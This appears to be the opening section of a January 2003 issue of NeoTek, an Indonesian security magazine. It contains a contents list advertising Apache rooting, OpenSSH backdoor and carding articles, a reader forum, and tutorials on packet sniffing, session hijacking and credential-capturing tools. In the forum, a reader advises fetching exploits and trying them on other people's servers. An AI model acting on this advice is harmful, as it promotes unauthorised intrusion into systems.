1 NeoSoft amkm PerdanaP Permintaan Anda Kami PenuhiP Kami dapat men-download-kannya untuk anda... Pada CD NeoTek bulan ini untuk pertama kali kami men...
Permintaan Anda Kami Penuhi Kami dapat men-download-kannya untuk anda... Pada CD NeoTek bulan ini untuk pertama kali kami menyertakan 14 program atau perangkat lunak hasil permintaan anda, para pembaca setia NeoTek. Mungkin ketika berselancar di dunia maya anda kerap menemukan perangkat lunak gratis yang menarik serta anda perlukan, tetapi terlalu besar ukurannya untuk anda download sendiri. Jika anda mempunyai kesulitan untuk mengambil atau men-
download perangkat lunak itu, kami dapat membantu anda untuk men-download-kannya. Ke-14 program yang kami sebutkan di atas dapat anda jumpai pada folder amkm. Nah, jika anda pun menghadapi masalah yang sama untuk mendapatkan program atau perangkat lunak dari Internet, anda dapat mencoba menghubungi kami lewat email. Email dialamatkan ke: • [email protected] • Subject: amkm • Isi pesan: Mohon download-kan [nama program] dari [www.blablabla.com].
MAKMUR DISC & BOOKSTORE
One Stop Shopping for Your PC Media Needs! ♦Menyediakan berbagai macam jenis CD Blank, CDRW (Rewritable), DVDROM (Blank), dan diskettes seperti: BenQ, CMS, Fuji Film, Imation, Lite-On, Maxell, Verbatim, Sony, TDK, Matrix, Mediatech, Mitsubishi, Mycom, ViaBrand. Juga menyediakan berbagai macam CD Label, Box / Casing, CD Bags dan Cover CD (Eceran / Partai) Dealers Welcome! ♦Menerima transfer dari berbagai media seperti: Betacam, Betamax, VHS, DV / Mini DV, Video 8, Hi-8mm, Hi-8 Digital, LD, DVD ke dalam bentuk VCD / DVD. Juga melayani penambahan sub-title / editing dalam bentuk VCD, dan menerima penggandaan hasil transfer. Harga dan kualitas dijamin seperti aslinya, dan bergaransi. ♦Menerima jasa CD-Duplicating (Duplikasi CD) untuk keperluan Company Profile, Event Promotion, Katalog Produk/Barang, Souvenir Pernikahan, Undangan, Wisuda, Ulang Tahun, Kartu Nama, Software Demo, Production House /Multimedia Promo lain. Harga bersaing dan dibuat secara profesional, mutu terjamin, baik dalam jumlah kuantitas besar dan kecil. Bisa Diantar. ♦Agen/penyalur resmi dari buku-buku dan tabloid komputer seperti: CHIP, Infokomputer, InfoNet, NEOTEK, PC Media, Komputer-Aktif, InfoLinux, ComputerEasy, Tabloid PCPlus, Game21 /PC21, Anime dengan harga spesial. Juga menyediakan berbagai software akuntansi/administrasi untuk keperluan kantor dan edukasi untuk anak-anak baik dalam berbahasa Indonesia, dan Inggris buatan Elex Gramedia, dan vendor lainnya.
Makmur
♦ Disc ♦ Online ♦ Computer Stationery M2M (Mangga Dua Mal) Lt II No. 8, 9B, dan 10 Jl. Arteri Mangga Dua Raya Jakarta Pusat - 10730 Phone: (62-21) 612 7936, 601 7517, 612 8718 Fax: (62-21) 600 8802 E-mail: [email protected]
Kupon Rabat Rabat 10% untuk Transfer VCD Rabat 10% untuk CD Game/Education Rabat 5% untuk buku/majalah Ttunjukkan kupon ini ketika berbelanja di Makmur Disc, Makmur Online & Makmur Computer Stationery pada alamat di samping.
HomePage
Salam!
amkm anda meminta kami mendownload
Soal hacking, Windows ataupun Linux sama disasar!
Software gratis di Internet? Tapi besarnya... 50Mb... 200Mb?
• Apache Chunked Scanner dapat digunakan untuk ‘ngeroot’ Apache OpenSSL. Ketika target ditemukan, Apache Chunked Scanner memberi indikasi server yang mungkin dapat ‘diserang.’
ika sudah bicara hacking, para hacker rupanya tidak pilih bulu. Windows ataupun Linux sama saja. Di mana ada “lubang,” di situ ada jalan. Begitu mungkin kira-kira semboyan para hacker dalam kaitannya dengan kegiatan hacking mereka. Maka jangan heran kalau pada nomor ini NeoTek mengetengahkan bahwa Apache pun, yang merupakan Web server berbasis Linux, tidak lolos dari incaran ngeroot para hacker dengan berbagai teknik dan tools.
Gedung Cahaya Palmerah Suite 506 Jl. Palmerah Utara III No. 9 Jakarta 11480
#neoteker
MILIS PARA NEOTEKER
http://groups.yahoo.com/group/majalahneotek
Januari 2003 NeoTek
1
Daftar Isi
Daftar Isi
NeoTek Vol. I I I No. 4
NeoStart Memahami TCP 3-Packet Handshake
7
WinPcap dan Ethereal membantu anda memahami proses komunikasi jaringan, lewat suatu tampilan visual.
Packet Sniffing Transmisi Clear Text
8
12
Salah satu metode untuk menjaga keamanan data adalah dengan mengenkripsinya. Kriptografi adalah ilmu untuk menghasilkan enkripsi.
14
Otentikasi & Enkripsi
Otentikasi dan enkripsi adalah dua teknologi yang saling berhubungan untuk mengamankan data.
Secure Protocol
Secure protocol menjamin bahwa data yang dilewatkan antara client dan server terenkripsi dan bahwa hubungan terjalin antara pihak yang seharusnya.
Data teks biasa dengan mudah disadap oleh pihak lain dengan metode brute force attack atau exhaustive key serach.
10
Mengenal Kriptografi
NeoTekno 16
Instalasi OpenSSH
OpenSSH merupakan implementasi terhadap protokol SSH yang sejak awal ditujukan untuk menggantikan protokol telnet dan rlogin yang tidak secure dengan protokol SSH.
18
Backdoor dengan OpenSSH
OpenSSH dapat dimodifikasi untuk menjadi backdoor pada suatu server.
Situs NeoTek
www.neotek.co.id neotek.kpone.com.sg
Jadikan situs NeoTek sebagai pangkalan Anda berselancar
Link Langsung
Kunjungi situs-situs yang dibahas di majalah NeoTek dengan sekali klik lewat situs NeoTek.
NeoTek versi PDF
Kehabisan NeoTek di kota Anda? Dapatkan saja versi PDF-nya. Gratis!
Download
Tersedia juga download di situs NeoTek selain dari situs aslinya
2
NeoTek Januari 2003
Layanan Rupa-rupa NeoTek
20
Metode Hacking Buffer Overflow
Buffer overflow dapat mengakibatkan suatu sistem crash. Ini terjadi jika variabel yang tersedia pada aplikasi tidak dapat menampung input yang sengaja dibuat berlebihan.
22
Fingerprint Port 80
25
Rooting dengan Exploit Apache-OpenSSL
Fingerprint Port 80 adalah teknik serangan yang dilakukan terhadap Port 80.
Dengan menggunakan rootkit, OpenSSL yang vulnerable dapat ditampilkan root console-nya.
28
Apache Chunked Scanner
Share tool yang dapat digunakan untuk mencari target Apache untuk rooting Apache-OpenSSL.
30
Rooting dengan Exploit dan OpenSSH
Hacking terhadap server hosting dengan menggunakan exploit untuk mendapatkan akses root.
32
Melindungi File dengan Enkripsi
Beberapa utilitas yang dapat digunakan untuk mengenkripsi file anda sehingga aman.
Perlengkapan berinternet dari situs NeoTek
43
Digital Clock (4)
Web Chat Room Kini tidak usah jauh-jauh untuk ngobrol langsung dengan sesama NeoTeker
Membuat jam dengan dua buah timer dan output berupa relay yang mempunyai banyak fungsi dan bunyi beep.
Mailing List Ini yang paling ramai. Segera ikutan berbagi pengalaman berinternet!
47
Webmail Server Linux: Squirrelmail
NeoTeker Official Portal http://neotek.portal.dk3.com Situs komunikasi antar Neoteker.
Squirrelmail adalah paket webmail standar yang ditulis dalam bahasa pemrograman PHP4.
Channel #neoteker di Dalnet Ngobrol ramai-ramai sesama NeoTeker
Daftar Isi
NeoSoft
FOKUS BULAN INI
0
amkm Perdana NeoTek dapat membantu anda men-download-kan program gratis dari Internet.
NeoProfil 3 Rooting Terhadap Apache Server
Kru NeoTek Bermarkas di Gedung Cahaya Palmerah 503 Jl. Palmerah Utara III No. 9 Jakarta 11480 Telp. 021-5481457 Fax. 021-5329041
Pemimpin Umum Fachri Said
Pemimpin Redaksi Kosasih Iskandarsjah
NeoTutor 35
PHP Praktis Myneoguestbook
Cara membuat fasilitas buku tamu untuk situs Web anda dengan menggunakan PHP.
41
Redaktur Ahli
NeoStyle 45
Onno W. Purbo Michael S. Sunggiardi
Pemimpin Usaha
Outtasight
Fahmi Oemar Ridwan Fachri
Utilitas untuk menyembunyikan aplikasi yang sedang digunakan.
Redaktur Pelaksana Gianto Widianto Dadi Pakar
Sekretaris Redaksi
Event pada JavaScript
Elvy Risma Nainggolan
Event adalah fungsi yang biasanya bekerja setelah suatu tindakan dilakukan sehingga skrip menjadi interaktif.
Inbox
6
NmN Neoteker menjawab Neoteker dalam forum milis NeoTek
NeoRagam
4
Ada Apa di CD NeoTek? Multimedia Player Network Security
5
Daftar Isi CD NeoTek Antivirus: Dari McAfee sampai PC Cillin Service Pack dari Microsoft
Dewan Redaksi David Sugianto, Asmuri Anwar, MA Rody C.
Webmaster Supriyanto
NeoTek Februari 2003 Nick Password Cracking pada IRC
Pemasaran Hedhi Sabaruddin Tuti Sundari, Arinto
Hati-hati, nick password anda dapat diintip dengan pelbagai cara.
Iklan dan Promosi Elvy Risma Nainggolan
e-Commerce Security Modus Operandi Carder Setelah membahas carding secara lugas di NeoTek III/2 November 2002, kali ini akan dilanjutkan dengan membahas modus operandi carder serta teknik memanfaatkan kelemahan shopping cart yang populer pada banyak situs e-commerce: cart32.exe dan shopper.cgi Awas! Bukan untuk dipraktikkan!
Keuangan Aswan Bakri
Bank Bank BNI a.n. PT NeoTek Maju Mandiri No. rekening 070.001709720.001 Bank BCA KCP Rawamangun a.n. Aswan Bakri No. rekening 0940544131
Januari 2003 NeoTek
3
NeoRagam
Ada Apa di CD NeoTek? CD NeoTek Januari 2003
Network security merupakan bahasan utama kali ini yang mencakup otentikasi dan enkripsi, khususnya menggunakan protokol SSL dan SSH. Ini dilanjutkan dengan membahas vulnerabilities pada Apache Web Server.
M U LTI M E DIA PLAYE R Australia lewat portal berita http://www.indoexplorer.com/
etelah sering kali membahas kelemahan Windows sampai men-deface situs Web berbasis Windows, kini kita beralih ke Linux. Ternyata banyak sekali exploit yang tersedia untuk memanfaatkan kelemahan Linux, khususnya Apache Web Server. Termasuk yang dilindungi oleh OpenSSL sekalipun! Bahasan ini diselaraskan dengan bahasan network security, khususnya protokol SSL dan SSH dengan bahasan terhadap enkripsi yang tersedia. Sejalan dengan itu, dibahas juga aplikasi enkripsi untuk melindungi file dan folder anda pada sistem operasi Windows. Antivirus yang dimuat di CD NeoTek II/11 Agustus 2002 mengalami masalah, yaitu banyak file yang corrupted. Untuk itulah pada edisi kali ini semua antivirus yang pernah dimuat di edisi itu dimuat kembali. Demikian juga dengan beberapa MS service pack yang banyak dicari-cari. Perkembangan baru juga terdapat di dunia multimedia. Selain Windows Media Player 9 (untuk Windows Px atau XP) serta WinAmp 3, terdapat pula RealOne Player, Quick Time 6, dan DivX Player.
Selain RealOne Player dapatkan juga berbagai multimedia player mutakhir lainnya di CD NeoTek kali ini. Semuanya untuk kenikmatan anda berinternet.
S
4
NeoTek Januari 2003
Multimedia Player
XDivX Player XQuick Time 6 XRealOne Player XWinAmp 3.0 XWin Media Player 9 apatkan rekaman Liputan 6, berita TVRI, yang dapat dimainkan lewat RealOne
D
Player, selain juga siaran radio live! dari Radio Sonora, Salvatore Surabaya, PAS FM Jakarta, dan Radio
N E T WO R K S E C U R I T Y Melanjutkan bahasan network security, kita bahas juga network insecurity, yang kali ini menunjukkan bahwa pada Apache web server berbasis Linux pun terdapat banyak kelemahan yang dapat dieksploitasi.
Network Security
B
ahasan network security dimulai dengan menunjukkan betapa mudahnya kita secara pasif memonitor paket data yang dilewatkan pada Internet. Kita gunakan Ethereal suatu tool yang berbasis WinPcap. Selanjutnya bahasan otentikasi dan enkripsi yang berlanjut ke secure protocol SSL dan SSH yang masing-masing mempunyai implementasi free software-nya, baik pada Linux, Windows, maupun sistem operasi lan. Salah satu yang paling populer adalah PuTTY.
XEthereal 0.9.7 Windows XWinPcap 3.0 XOpenSSH 3.4.3 Windows XOpenSSH 3.5 Linux XPuTTY XOpenSSL 0.9.6 Linux XSSLeay 0.9.0 XTeraterm 2.3 Win9x/NT Xc2myazz Xgzip (installation tool) Xzlib (installation tool)
D NeoTek nomor ini kembali menyertakan program-program anti virus mengingat pentingnya program semacam ini untuk keamanan anda dalam berkomputer. Semuanya ada sembilan program anti virus yang kami sertakan pada CD NeoTek nomor ini yang daftar lengkapnya dapat anda lihat pada daftar isi CD NeoTek. Untuk anda para pengguna McAfee Virus Scan kami tidak lupa menyertakan upgrade bagi McAfee Virus Scan 6.01. Sedangkan untuk yang kerepotan dengan
C
virus Klez, kami menyertakan Anti Klez. Untuk virus CIH yang berbahaya bagi sistem komputer anda itu pun kami sertakan dua buah anti virusnya yaitu FCIH dan Fix-CIH. Ke-10 program anti virus ini juga dimaksudkan sebagai pengganti program anti virus yang pernah dimuat pada CD NeoTek Vol II No 11, Agusuts 2002 yang mengalami masalah, yaitu banyak file-nya yang corrupted. Kami menyimak keluhan dari anda dan berusaha memperbaiki kesalahan yang ada pada CD terdahulu itu lewat CD nomor ini.
Service Pack dari Microsoft Service Pack untuk program-program keluaran Microsoft diperlukan, tetapi biasanya service pack itu berukuran besar sehingga pengguna koneksi dial-up sulit untuk men-download-nya. Untuk itulah kami men-downloadkannya untuk anda. Keempat service pack itu daftarnya dapat anda lihat pada tabel di samping. Adapun Service Pack untuk IE 6 sudah dimuat di NeoTek Desember 2002
PROYEK
MyNeoGuestBook auth-passwd.c version.h Neoclock2
Januari 2003 NeoTek
5
Inbox
NmN NeoTeker menjawab NeoTeker Forum ini dimaksudkan sebagai bentuk offline dari mailing list NeoTek di http://groups.yahoo.com/group/majalahneotek. Tutorial Hacking T: Posted October 31 Saya hendak menyampaikan sedikit opini saya terhadap tutorial hacking di majalah NeoTek, dimana saya melihat NeoTek lebih memfokuskan diri terhadap serangan langsung terhadap server korban melalui tools instan. Saya merujuk dokumen How to become a hacker oleh Eric S. Raymond [bisa dibaca di www.tuxedo.org/ ~esr/faqs/hacker-howto. html]. Menurut dokumen tersebut, untuk memulai menjadi hacker, dibutuhkan skill pemprograman [dalam dokumen disarankan untuk manguasai python (www. python.org), java (http:// java.sun.com), perl (http:// www.perl.org) dan C.] Berlainan dari majalah NeoTek yang lebih banyak mengutamakan serangan menggunakan enumeration tools dan trojan horse (bo2k) yang menurut saya tidak begitu mendidik (maaf) biasanya trojan horse, dan Legion juga Brutus lebih banyak bermain di lingkungan windows, saya kutip dari buku Onno W. Purbo dan Akhmad Daniel Sembiring dalam bukunya yang berjudul: Seri Penuntun Praktis Linux RedHat [ Elex Media Komputindo ] yang berbunyi “Dengan kata lain, Linux "memintarkan" dan bukan "membodohi" pemakainya dengan bukan hanya mengajari bagaimana mengklik suatu tombol.” Banyak paper yang saya baca seputar perhackingan juga mengharuskan menguasai bahasa pemrograman (khususnya Perl dan C). Anda yang tidak manguasai bahasa pemprograman di atas juga 6
NeoTek Januari 2003
(pasti) akan kewalahan menbaca majalah hacking/ phreaking seperti phrack (www. phrack.org) dan Black Box (http://black.box.sk). Saran saya, bagaimana kalau majalah neotek juga membahas - secara berseri (mungkin) - bahasa pemprograman dasar seorang hacker sep: Perl atau C. Dan mulai memperkenalkan pembaca terhadap "Buffer Overflow", dan penggunaan "Shell Code" Baca phrack 49 phile 14 "Smashing The Stack For Fun And Profit" oleh Aleph1 ]. Saya sendiri juga pemula dalam hacking dan Linux, namun mendapat banyak sekali pelajaran dengan "bersakit-sakit" - istilah saya "Makan Tombak Yang Ujungnya Permen" walaupun awalnya sakit, tapi ujungnya manis -. Maaf jika opini saya ini menyinggung "bapak-bapak dan om-om" redaksi NeoTek. Saya begitu antusias terhadap neotek yang "menukik tajam dalam tahuntahun terakhir ini", dan saya ingin ikut "membangun". Terimakasih atas perhatian redaksi dan terhadap rekanrekan milis saya harapkan tanggapannya terhadap opini ini. [Kalau ada yang tertarik bisa Privat Line :)] Dede [email protected] J: Posted November 1 Pendekatan awal memang lebih ke tools untuk menguji ketahanan jaringan, sekaligus untuk menghapus kesan bahwa security/hacking itu sulit dipahami. Selanjutnya memang mulai disiapkan artikel seperti yang anda sarankan tadi, yaitu mu-
lai dengan mempelajari C, Perl, pemahaman buffer overflow, dlsb. Memang mulai dari sini porsi Linux harus ditambah. Tapi perlu juga diingat bahwa cukup besar pembaca NeoTek yang sekedar ingin tahu security/ hacking namun tidak ingin masuk lebih jauh (dan tidak ingin beralih dari Windows). Kalau langsung ke sini maka terlalu sedikit yang dapat memahaminya. Kini setelah yang berminat memahami hacking/security makin banyak, memang sudah saatnya dibahas. Bila ada yang mempunyai bahan-bahan seperti ini, silakan kirim ke redaksi NeoTek. Kosasih Iskandarsjah [email protected]
Root Exploit T: Posted November 1 Bagaimana sebenarnya prinsip kerja eksploit yang bisa membuat seorang user biasa bisa mendapatkan akses root pada sebuah sistem? Cleopatra [email protected] J: Posted November 1 Eksploits biasanya menggunakan buffer overflow untuk melakukan eksploitasi. Setelah terjadi buffer overflow, Shell Code disuntikkan, sehingga user bisa mendapatkan akses root.] Buffer Overflow itu terjadi apabila input yang dimasukkan melebihi batas memori yang telah ditentukan sebelumnya. Contoh: #include <stdio.h> main(){ char s[3]; scanf("%s",&s); printf("%s",s);
} Compile dengan gcc, lalu jalankan! Masukkan karakter lebih dari 3, karna 3 karakter telah dijatahkan untuk variabel s, namun jika lebih dari 3 Baca blackbox #13 http:// black.box.sk. Kalo punya Linux box di rumah, coba tambahin user yang seolaholah seorang penyusup, lalu login sebagai penyusup. Coba-coba aja pake sploits di http://neworder.box.sk. Kalo aku mencoba ngehack root di server sendiri, step nya: $ rpm -qa | cat > aplikasi == print Buka http://neworder.box.sk , cari Linux sploits, cari program yang berpotensi untuk di hack (sesuaikan versinya dengan yang ada di file aplikasi), ambil sploits, compile dan coba jalankan, kalo bisa. Coba ngisengin server lain Ingat, cuma ngisengin. Contoh yang saya berikan cuma memperkenalkan buffer overflow. Saya pake gcc di Redhat 6.2, gak tau kalo Unix lain. #include <stdio.h> // header file main() { // fungsi main char s[5]; // variabel s bertipe karakter sebanyak 5 karakter scanf("%s", &s); // ambil input, masukkan ke variabel s printf("%s\n", s); // tampilkan dengan fungsi printf() } Kalo input yang masuk labih dari 5, terjadi buffer overflow. Kalo sploits sering mengeksploitasi program mail Dede [email protected]
NeoStart
NETWORK SECURITY M E MAHAM I TCP 3-PAC K ET HAN DS HAK E Komunikasi dalam network (termasuk Internet) ada yang bersifat connection-oriented (TCP) dan ada yang connectionless (UDP). Pada koneksi TCP selalu berlangsung three-packet handshake, yang di sini transport layer men-set flag sinkronisasi (SYN) atau acknowledgement (ACK).
alam usaha melakukan koneksi TCP, request dikirim melalui transport layer yang men-set flag SYN=1 dan ACK=0, yang akan dijawab oleh pihak yang dihubungi dengan men-set flag SYN=1 dan ACK=1, dan terakhir penginisialisasi koneksi menjawab lagi dengan SYN=0 dan ACK=1 Sulit membayangkan proses komunikasi jaringan ini secara konsep, namun dengan bantuan WinPcap dan Ethereal yang menangkap paket-paket yang melewati suatu NIC card dan menampilkannya secara visual, usaha mempelajari komunikasi jaringan ini menjadi terasa lebih mudah dan nyaman. WinPcap dan Ethereal terdapat dalam CD NeoTek bulan ini.
D
Mempelajari 3-packet handshake network connection secara visual
1
INSTALL WPCAP & ETHEREAL Pertama kali instal WinPcap, yang akan berfungsi meng-capture data yang melewati suatu network interface card. Setelah itu instal Ethereal, suatu network monitoring tool yang akan menampilkan hasil tangkapan WinPcap secara visual.
2
JALANKAN ETHEREAL Double click ikon Ethereal di desktop dan pilih Capture > Start yang akan menampilkan jendela Ethereal Capture Session. Pilih NIC yang akan dimonitor dan klik OK. Packet capture pun berjalan, merekam semua kegiatan network.
3
HASIL CAPTURE
4
TIGA BARIS PERTAMA
Jalankan kegiatan apa saja seperti browsing, mengirim email, atau apa saja. Setelah itu klik Stop pada Ethereal Capture Session dan hasil capture selama itu akan ditampilkan dalam bentuk tampilan tiga window pane.
Pada contoh ini komputer melakukan koneksi TCP ke router (bisa saja yang lain, seperti koneksi ke ISP). Perhatikan tiga baris pertama paket data yang di-capture oleh WinPcap dan ditampilkan oleh Ethereal, yang merupakan three-packet handshake. Mempelajari network menjadi semakin menarik, bukan?
Januari 2003 NeoTek
7
NeoStart
NETWORK SECURITY TRANSMISI CLEAR TEXT BAHAYA PACKET SNIFFING Pada awalnya Internet memang belum terlalu banyak mempertimbangkan security dan privacy. Protokol-protokol yang lazim di Internet melewatkan teks (password ataupun isi pesan) dalam bentuk teks biasa (clear text) yang dengan sangat mudah dapat disadap menggunakan sniffer.
egitu banyak protokol umum di Internet yang melewatkan begitu saja teks seadanya (clear text) dan protokol-protokol itu adalah semua yang lazim kita pakai. Protokol-protokol itu adalah FTP (otentikasi berupa clear text), telnet (otentikasi berupa clear text), SMTP (isi pesan email yang dikirim berupa clear text), HTTP (page content dan isi dari field dalam formulir berupa clear text), IMAP (otentikasi berupa clear text), SNMPv1 (otentikasi berupa clear text). Kesimpulannya? Pada dasarnya hampir semua kegiatan yang lazim kita lakukan di Internet dapat dengan mudah disadap orang, baik itu browsing, mengirim dan menerima email, maupun koneksi telnet serta FTP.
B
Protokol-protokol umum di Internet melewatkan password sebagai clear text
1
8
JALANKAN ETHEREAL Jalankan Ethereal dengan jalan men-double click ikon yang terdapat pada desktop. Pilih menu Capture > Start yang akan menampilkan jendela Ethereal Capture Session. Pilih NIC yang terhubung ke network dan klik OK. Proses packet capture berjalan.
NeoTek Januari 2003
2
JALANKAN WS_FTP LE Jalankan FTP client, dalam hal ini WS_FTP LE. Dalam contoh ini kita akan menghubungi FTP server IndoNet di ftp.indo.net.id sebagai anonymous user. Sebagai anonymous user, sebagai password akan dimintakan email address kita.
3
AKSES KE FTP.INDO.NET.ID
7
CLEAR TEXT TRANSMISSION
Dengan demikian isikan pada Host Name/Address: ftp.indo.net.id; Host type: automatic decet; User ID: anonymous; dan sebagai password diisikan email kita, dalam hal ini [email protected]. Klik OK untuk menghubungi FTP server ini.
Pelajari frame demi frame dan akan terlihat pada contoh ini bahwa frame nomor 249 mengcapture proses otentikasi yang mengirimkan password ke FTP server. Jelas bahwa user name dan password dilewatkan begitu saja ke Internet sebagai clear text.
NeoStart Oleh karena itulah teks yang dilewatkan perlu dienkripsi terlebih dahulu. Teks yang telah dienkripsi, walaupun tetap dapat ditangkap oleh sniffer, namun tidak terbaca. Untuk membacanya biasanya penyadap tidak benar-benar melakukan dekripsi, melainkan mencoba segala macam kombinasi cipher key (algoritma kriptografi) yang dikenal sebagai brute force attack atau exhaustive key search. Dan ini akan memakan banyak waktu, bergantung pada metode enkripsi yang digunakan. • Hasil capture yang dicetak sebagai file teks dan kemudian dibuka dengan Wordpad. Anda dapat melakukan search menggunakan fasilitas Find pada Wordpad.
4
TERHUBUNG! Kita akan terhubung ke public directory (/pub) pada FTP server ini. Sampai di sini sudah cukup, sebab yang kita inginkan adalah menangkap paket-paket data sewaktu kita mengotentikasi diri kita dan sewaktu mengirimkan password ke FTP server tadi.
5
CLOSE CAPTURE SESSION Pada jendela Ethereal: Capture, klik Stop untuk menghentikan proses capture yang kemudian hasil capture akan ditampilkan pada jendela tiga-pane di jendela utama.
6
HASIL CAPTURE FTP SESSION Terlihat hasil capture sesi sebelumnya tadi. Anda dapat mempelajarinya langsung pada jendela tiga-pane ini, atau dapat pula mencetaknya dulu ke printer maupun sebagai file teks (yang dapat dibuka dengan Wordpad).
} 8
SNIFFING YAHOO! MAIL Dengan cara yang sama kita dapat mengirimkan email melalui mail.yahoo.com. Dalam contoh ini subject dan isi email kita hanyalah teks: test clear text capture. Dan isi email kita terlihat jelas pada frame nomor 505. Coba sendiri dengan protokol-protokol lain.
Januari 2003 NeoTek
9
NeoStart
Network Security:
Otentikasi & Enkripsi Enkripsi dan Otentikasi adalah dua teknologi yang saling berhubungan untuk menjamin data anda tetap aman. Otentikasi adalah cara untuk memastikan bahwa pihak yang anda hubungi atau yang menghubungi anda adalah memang sesuai dengan pengakuannya, bukan pihak ketiga yang menyamarkan diri. Enkripsi adalah teknologi untuk memastikan bahwa informasi yang mengalir pada suatu sesi tidak diintip atau diubah orang lain (compromised). Perlunya Enkripsi
Session Hijacking
ahwa protokol-protokol yang umum digunakan di Internet melewatkan teks sebagaimana adanya (clear text) jelas menunjukkan perlunya teknologi enkripsi untuk melewatkan informasi yang benarbenar rahasia mellaui Internet seperti nomor credit card, password, pesan email rahasia, maupun dokumendokumen berupa file yang di-attach pada email maupun ditransfer melalui fasilitas FTP (file transfer protocol). Sudah diperlihatkan pada dua artikel sebelumnya, betapa mudahnya seseorang memasang sniffer dan secara pasif memonitor clear text yang lewat, merekamnya ke file teks, dan mendapatkan cukup waktu untuk mempelajarinya. Bahkan paket data yang telah di-capture ini dapat diolah menggunakan program-program khusus untuk mengekstrak password yang ada (menggunakan dsniff) atau menampilkan isi email yang dikirimkan (menggunakan mailsnarf). Dsniff dan mailsnarf telah dibahas di NeoTek II/7 April 2002. Sewaktu kita berinternet, kita menggunakan berbagai jenis protokol untuk kegiatan yang berbeda. Celakanya hampir semua jenis protokol in tidak secure, yaitu melewatkan clear text melalui Internet. Yang artinya siapa saja dengan menggunakan sniffer dapat meng-capture paket data yang lewat dan menganalisa isinya. Protokolprotokol yang tidak secure itu adalah: FTP Otentikasi berupa clear text Telnet Otentikasi berupa clear text SMTP Isi dari pesan email yang disampaikan berupa clear text. HTTP page content dan isi dari field pada formulir berupa clear text IMAP Otentikasi berupa clear text SNMP Otentikasi berupa clear text.
Katakanlah suatu client yang terhubung ke suatu server melalui koneksi network yang tidak secure. Client ini sudah diotentikasi oleh server dan telah memperoleh hak akses dari server berupa hak akses administrator. Pihak ketiga, yaitu penyerang dapat menempatkan dirinya di tengah-tengah segmen network tadi dan secara diamdiam memonitor sesi yang sedang berlangsung. Dengan sabar penyerang dapat mempelajari segala hal sehubungan dengan sesi ini. Setelah mendapat cukup informasi, penyerang dapat membajak sesi administrator ini untuk menciptakan suatu account baru pada level administrator. Caranya adalah dengan memaksa client agar terputus hubungannya dari server. Hal ini dapat dilakukan dengan meng-crash komputer client dengan mengirimkan misalnya Ping of Death melalui utilitas seperti WinNuke. Juga dapat digunakan ICMP flood yang membuat client sebagai sasaran ini terlalu sibuk memproses begitu banyak request ICMP, sehingga tidak dapat memberikan respon terhadap komunikasi yang lain. Dengan lenyapnya client tadi, maka penyerang dapat berkomunikasi dengan server, seolah-olah dialah client yang tadi itu. Otentikasi yang baik harus mampu memastikan bahwa client yang terhubung tetap client yang sebelumnya dan tidak digantikan pihak lain.
B
Perlunya Otentikasi Informasi logon banyak yang dilewatkan sebagai clear text, yang berarti dengan mudah seseorang dapat memperoleh logon credential (user name dan password) orang lain, misalnya pada insecure service seperti pop mail. Namun otentikasi yang baik lebih dari sekedar memvalidasi sumber yang melakukan logon awal, melainkan juga memastikan bahwa setelah logon berhasil, sesi logon ini tidak dibajak orang lain di tengah jalan. Serangan jenis ini dikenal sebagai session hijacking atau man-in-the-middle attack. 10
NeoTek Januari 2003
Verfikasi Tujuan Apabila sebelumnya kita membahas perlunya memverifikasi client, maka pada verifikasi tujuan, kita memverifikasi server-nya. Banyak orang percaya saja bahwa server yang dihubunginya adalah memang server yang dituju atau server sedang down apabila tampil pesan host unreachable. Padahal bisa saja server. yang dihubungi itu palsu. C2MYAZZ Utilitas C2MYAZZ adalah contoh baik mengenai server spoofing attack yang digunakan untuk mengelabui client yang menggunakan Windows 95 (Windows 9x dan yang lebih baru sudah tidak mengandung kelemahan ini lagi). Sewaktu client yang menggunakan Windows 95 menghubungi Windows NT domain, maka otentikasi dilakukan melalui dua metode melalui SMB (session message block) system yang menggunakan encrypted password dan yang kedua dalam bentuk clear text (LANMAN authentication).Yang kedua ini terdapat karena kebutuhan backward compatibility dengan LANMAN server.
NeoStart Apabila C2MYAZZ dijalankan, program ini secara pasif menunggu client melakukan otentikasi ke NT server. Begitu logon terdeteksi, C2MYAZZ mentrasmisikan satu paket tunggal ke client yang meminta agar client mengirimkan LANMAN authentication. Client karena percaya sedang terhubung ke server tujuannya, mengirimkan saja otentikasi yang berupa clear text ini. Utilitas C2MYAZZ kemudian meng-capture dan menampilkan kombinasi logon name dan password yang didapatnya, tanpa sama sekali mengganggu akses client ke server. Client dengan demikian sama sekali tidak sadar bahwa logon credential-nya telah dicuri. Utilitas C2MYAZZ ini sangat kecil dan dapat dijalankan hanya pada satu disket. penyerang tinggal menempatkan utilitas ini pada bootable floppy disk, menyalakan sistem, dan kembali lagi di lain waktu untuk memanen hasilnya. Pada Windows 98 ke atas, kelemahan ini sudah diatasi sehingga C2MYAZZ bukan lagi menjadi ancaman terhadap client yang menggunakan sistem operasi Windows. DNS poisoning DNS poisoning yang dikenal juga sebagai cache poisoning adalah proses menyampaikan informasi IP address yang salah mengenai host tertentu dengan tujuan mengalihkan lalu-lintas paket data dari tujuan sebenarnya. Hal ini pertama kali ditunjukkan oleh Eugene Kashpureff pada tahun 1997 sewaktu ia mengalihkan request ke host InterNIC menuju situs pendaftaran domain name alternatif, AlterNIC. Request ini dialihkan dengan mengeksploitasi vulnerability yang terdapat pada DNS service. Sewaktu suatu name server menerima jawaban terhadap suatu DNS query, sumber jawaban ini tidak divalidasi dan mengabaikan informasi yang tidak ditanyakan. Kashpureff memanfaatkan vulnerabilities ini dengan menyembunyikan informasi DNS yang palsu di dalam jawaban yang absah. Name server yang menerima jawaba akan menyimpan informasi yang didapat (yang benar maupun palsu) dalam cache-nya. Sebagai akibatmya, apabila pemakai mencoba me-resolve suatu host dalam domain InterNIC, maka ia akan menerima IP address dalam domain AlterNIC dan dengan demikian dialihkan ke AlterNIC network. Kini dengan berkembangnya e-commerce dan online banking, teknik ini menjadi sangat berbahaya. Bisa saja suatu server palsu tampil identik dengan server online banking yang asli. Apabila nasabah mengakses web server bank itu dan mengotentikasi dirinya, maka server palsu akan menangkap informasi otentikasi nasabah itu. Nasabah itu pun tidak akan pernah tahu bahwa ia dilayani oleh server palsu. Untuk itulah diperlukan digital certificate.
